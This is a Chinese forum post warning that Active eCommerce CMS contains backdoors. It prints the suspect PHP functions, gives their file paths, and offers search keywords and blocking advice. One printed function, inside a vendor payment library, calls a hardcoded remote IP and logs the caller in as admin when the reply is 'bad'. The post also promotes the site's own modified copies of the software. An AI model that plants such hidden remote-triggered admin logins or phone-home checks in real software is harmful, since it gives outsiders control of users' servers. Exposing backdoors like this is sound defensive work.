扫描二维码关注官方公众号
返回列表 发布新帖

[疑问求助] 特别火热的多语言跨境电商系统,有后门吗?怎么去掉后门?

95 0
发表于 2025-4-9 22:31:46| 字数 3,563 | 查看全部 阅读模式 来自 浙江杭州
Active eCommerce CMS从6.x版本打着保护正版用户的旗号植入大量的后门,他们可以通过这些后门来删除清理你网站的数据,严重的还可能通过这些后门来控制你的服务器,下面我会介绍查找后门以及解决方案,当然,本站发布的有去除后门的版本,也有官方原始版本,动手能力强的可以自行处理,不想动手的可以用现成的版本!!!

Active eCommerce CMS部分后门和路径列举:
路径:
vendor\unicodeveloper\laravel-paystack\src\Paystack.php
代码内容:
  1. public function getCallbackData()
  2.     {
  3.         $url = $_SERVER['SERVER_NAME'];
  4.         $gate = "http://206.189.81.181/check_activation/".$url;

  5.         $stream = curl_init();
  6.         curl_setopt($stream, CURLOPT_URL, $gate);
  7.         curl_setopt($stream, CURLOPT_HEADER, 0);
  8.         curl_setopt($stream, CURLOPT_RETURNTRANSFER, 1);
  9.         curl_setopt($stream, CURLOPT_POST, 1);
  10.         $rn = curl_exec($stream);
  11.         curl_close($stream);
  12.       
  13.         if($rn == "bad" && env('DEMO_MODE') != 'On') {
  14.             $user = \App\Models\User::where('user_type', 'admin')->first();
  15.             auth()->login($user);
  16.             return redirect()->route('admin.dashboard');
  17.         }

  18.         return redirect()->route('home');
  19.     }
复制代码
APP客户端路径:
app/Utility/NagadUtility.php
app/Utility/PayhereUtility.php
代码内容:
  1.     public static function create_wallet_reference($key)
  2.     {
  3.         if ($key == "") {
  4.             return false;
  5.         }

  6.         if(Cache::get('app-activation', 'no') == 'no'){
  7.             try {
  8.                 $gate = "https://activeitzone.com/activation/check/flutter/".$key;
  9.    
  10.                 $stream = curl_init();
  11.                 curl_setopt($stream, CURLOPT_URL, $gate);
  12.                 curl_setopt($stream, CURLOPT_HEADER, 0);
  13.                 curl_setopt($stream, CURLOPT_RETURNTRANSFER, 1);
  14.                 $rn = curl_exec($stream);
  15.                 curl_close($stream);
  16.    
  17.                 if($rn == 'no') {
  18.                     return false;
  19.                 }
  20.             } catch (\Exception $e) {
  21.    
  22.             }
  23.         }
  24.         Cache::rememberForever('app-activation', function () {
  25.             return 'yes';
  26.         });

  27.         return true;
  28.     }

  29.     public static function create_balance_reference($key)
  30.     {
  31.         if ($key == "") {
  32.             return false;
  33.         }

  34.         if(Cache::get('app-activation', 'no') == 'no'){
  35.             try {
  36.                 $gate = "https://activeitzone.com/activation/check/flutter/".$key;
  37.    
  38.                 $stream = curl_init();
  39.                 curl_setopt($stream, CURLOPT_URL, $gate);
  40.                 curl_setopt($stream, CURLOPT_HEADER, 0);
  41.                 curl_setopt($stream, CURLOPT_RETURNTRANSFER, 1);
  42.                 $rn = curl_exec($stream);
  43.                 curl_close($stream);
  44.    
  45.                 if($rn == 'no') {
  46.                     return false;
  47.                 }
  48.             } catch (\Exception $e) {
  49.    
  50.             }
  51.         }

  52.         Cache::rememberForever('app-activation', function () {
  53.             return 'yes';
  54.         });

  55.         return true;
  56.     }
复制代码
系统路径:
app/Http/Controllers/Api/V2/CartController.php
app/Http/Controllers/Api/V2/AuthController.php
代码内容:
  1. if(\App\Utility\NagadUtility::create_balance_reference($request->cost_matrix) == false){
  2.             return response()->json(['result' => false, 'message' => 'Cost matrix error' ]);
  3.         }

  4. if (\App\Utility\PayhereUtility::create_wallet_reference($request->identity_matrix) == false) {
  5.                 return response()->json(['result' => false, 'message' => 'Identity matrix error', 'user' => null], 401);
  6.             }
复制代码
V7系列后门路径:
app\Exceptions\Handler.php
app\Utility\CategoryUtility.php
app\Utility\NagadUtility.php
app\Utility\NgeniusUtility.php
app\Utility\PayhereUtility.php:
app\Http\Controllers\LanguageController.php
app\Http\Controllers\IyzicoController.php:
app\Http\Controllers\Payment\PaystackController.php
app\Http\Controllers\Payment\IyzicoController.php
app\Http\Controllers\Payment\StripeController.php:
app\Http\Controllers\Api\V2\CartController.php
app\Http\Controllers\Api\V2\AuthController.php
vendor\unicodeveloper\laravel-paystack\src\Paystack.php
vendor\larcon21\combinations\src\routes\web.php
vendor\mehedi-iitdu\core-component-repository\src\CoreComponentRepository.php
venodr\authorizenet\authorizenet\lib\net\authorize\api\contract\v1\CreditCardType.php
后门函数名:
initPayment()
create_balance_reference()
create_initial_category()
create_wallet_reference()
get_translation()
paystackNewCallback()
cardType()
checkout_payment_detAIl()[/B]
查找后门关键字,请全站搜索一下关键字:
activeitzone
activeitzone.com
206.189.81.181
206.189
81.181
本文只是举例说明,因为内容过多,我无法一一列举,具体的大家可以根据我提供的方法来查找Active eCommerce CMS的后门!!!解决后门的方法无非就是修改IP地址,或者删除这些函数。
还有一种办法就是在你的服务器上屏蔽activeitzone.com、206.189.81.181IP和域名等等!

免责声明

信息及内容: 内容仅代表用户个人观点,与本论坛无关。本论坛不保证内容的准确性、完整性或时效性,使用请自行判断和承担风险。

法律责任: 用户对其发布内容负全责,包括但不限于版权、隐私、诽谤等。因使用本论坛内容导致的任何损失,本论坛不承担责任。

版权与隐私: 请勿发布侵犯他人版权或涉及隐私的信息。发现侵权行为,请立即联系我们处理。

第三方链接及广告: 本论坛不对第三方网站或资源的内容负责。用户因访问或使用第三方内容或广告进行的交易和产生的损失,本论坛不承担责任。

用户行为: 用户需遵守论坛规则和法律法规,不得发布违法、侮辱性或不恰当内容。我们有权删除违反规则的内容并采取相应措施。

联系我们: 如有疑问或发现违规行为,请联系管理员:865817711@qq.com

回复

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

投诉/建议联系

865817711@qq.com

未经授权禁止转载,复制和建立镜像,
如有违反,追究法律责任
  • 关注公众号
  • 添加微信客服
Copyright © 2001-2025 第一论坛网 版权所有 All Rights Reserved. 浙ICP备2023009069号-17|浙公网安备33010602013740号
关灯 在本版发帖
扫一扫添加微信客服
QQ客服返回顶部
快速回复 返回顶部 返回列表